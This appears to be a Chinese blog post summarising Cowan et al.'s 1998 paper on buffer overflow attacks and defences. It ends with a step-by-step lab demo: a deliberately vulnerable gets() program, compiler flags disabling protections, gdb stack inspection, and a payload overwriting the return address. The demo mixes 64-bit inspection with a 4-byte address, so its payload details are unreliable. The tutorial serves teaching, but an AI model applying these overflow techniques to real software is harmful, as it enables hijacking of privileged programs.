Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade

总结性的原文

USENIX Security 1998
Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade

Crispin Cowan, Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpole

[Buffer overflows: attacks and defenses for the vulnerability of the decade - Foundations of Intrusion Tolerant Systems, 2003 Organically Assured and Survivable Information Sy

对buffer overflow做了很好的总结:

The overall goal of a buffer overflow attack is to subvert the function of a privileged program so that the attacker can take control of that program, and if the pro gram is sufficiently privileged, thence control the host. Typically the attacker is attacking a root program, and immediately executes code similar to “exec(sh)” to get a root shell, but not always. To achieve this goal, the attacker must achieve two sub-goals:

  1. Arrange for suitable code to be available in the pro gram's address space.
  2. Get the program to jump to that code, with suitable parameters loaded into registers & memory.

🧠 攻击原理详解

攻击分为两个核心步骤:

如何让恶意代码出现在程序地址空间中:

  • 注入代码(Inject it):直接将机器指令注入到程序缓冲区中,常见于栈、堆、静态区。
  • 利用已有代码(Reuse existing code):跳转到已有的 libc 函数,如 exec("/bin/sh"),只需构造参数并篡改跳转地址。

如何让程序跳转到攻击代码:

  • 栈溢出(stack smashing):修改函数返回地址,函数退出时跳转到攻击者代码。
  • 函数指针篡改:修改存储在堆或全局区的函数指针。
  • longjmp 缓冲区篡改:修改 setjmp 保存的上下文,劫持 longjmp 控制流。
  • 其他变量修改:修改程序中影响逻辑的非指针变量(罕见但致命)。

攻击组合方式

  • 注入和控制流篡改可以一次完成(如经典 gets 漏洞),也可以分开完成(多步攻击)。
  • Return-to-libc 和格式化字符串攻击常在防御措施生效后出现。Return-to-libc:Return-to-libc attack - Wikipedia

file

主要防御策略

论文详细评估了 4 种主要防御策略:

✅ 正确编程

  • 理论上可避免漏洞,但在 C 中非常困难。
  • 审计和工具如 grep, Purify, static analysis 有帮助,但无法完全防御。

🚫 3.2 非可执行栈(Non-executable stack)

  • 阻止在栈上执行注入代码(如 Linux patch)。
  • 局限性:不能防 Return-to-libc、函数指针劫持等攻击

✅ 3.3 数组边界检查(Array bounds checking)

  • 理论上最彻底,防止所有溢出。
  • 代价高昂:性能严重下降,兼容性问题大,C语言难以完美支持。

✅ 3.4 指针完整性保护(Code Pointer Integrity)

  • 检查关键指针是否被篡改,防止被使用。
  • StackGuard:在返回地址旁边放置 canary 值,篡改即崩溃;
  • PointGuard:对所有函数指针做类似的 canary 检查。

file

攻击方式 StackGuard Non-Exec Stack PointGuard Bounds Check
栈注入+返回地址修改
栈注入+函数指针
堆注入+函数指针
利用已有代码
改变普通变量 部分可防

理论总结

  • 单一方法无法完全防御所有缓冲区溢出攻击。

  • 组合防御(StackGuard + Non-exec Stack + PointGuard) 提供了强有力的保护,同时保持兼容性和性能。

  • 最早(如 Morris Worm)那类逻辑型攻击反而很难防御,但也很罕见。

  • 缓冲区溢出攻击的本质是对内存布局和控制流的精确操作

  • 静态代码分析、编译器插桩、防御性编程和系统级防御应协同使用。

  • StackGuard 和 PointGuard 是非常实用的实际防御工具。

  • 越是自动化、无侵入式的防御方法(如编译器增强),越具有推广潜力。


我们现在来一步步演示一个 Buffer Overflow 攻击的过程,包括:

  1. 编写易受攻击的 C 程序;
  2. 编译为可调试的 ELF 二进制;
  3. 使用 gdb 调试并观察栈溢出;
  4. 构造一个溢出输入,覆盖返回地址。

⚠️ 学习目的:仅用于教育和研究。请勿在未授权的系统上进行尝试。


🧪 1. 编写易受攻击的代码:vuln.c

#include <stdio.h>
#include <string.h>

void win() {
    printf("🎉 Congratulations! You've reached the win function!\n");
}

void vulnerable() {
    char buffer[32];
    printf("Enter input: ");
    gets(buffer); // 易受攻击的函数
}

int main() {
    vulnerable();
    return 0;
}

这个程序中,gets(buffer) 允许用户无限制地写入数据,而 buffer 只有32字节,后面紧跟着返回地址。


⚙️ 2. 编译为可调试的二进制:

gcc -g -fno-stack-protector -z execstack -no-pie vuln.c -o vuln

参数解释:

  • -g: 启用调试符号;
  • -fno-stack-protector: 关闭栈保护;
  • -z execstack: 允许执行栈;
  • -no-pie: 关闭地址随机化(ASLR的一部分);

🔎 3. 用 gdb 调试分析栈布局

gdb ./vuln

gdb 中输入:

break vulnerable
run

当断在 vulnerable() 时:

info frame
x/40x $rsp

你会看到堆栈中的地址。我们可以估算出 buffer 到返回地址之间的偏移(比如 40 字节),然后构造 payload 来覆盖。


🧨 4. 构造攻击输入覆盖返回地址

假设 win() 函数的地址是 0x080491e2(在 gdb 中输入 p win 获取地址)。

我们可以用 Python 构造 payload:

payload = b"A" * 40           # 填满 buffer + 填充到返回地址
payload += b"\xe2\x91\x04\x08"  # win() 的地址(小端序)

with open("payload.txt", "wb") as f:
    f.write(payload)

然后运行程序并将 payload 作为输入:

./vuln < payload.txt

输出应该是:

🎉 Congratulations! You've reached the win function!

🔐 防御建议(再强调一次):

  • 避免使用 gets(),使用 fgets()
  • 开启编译器安全选项(Stack Protector、ASLR 等);
  • 使用现代语言如 Rust、Go 开发关键系统,自动内存安全;
  • 对输入进行边界检查,永远不要信任用户输入。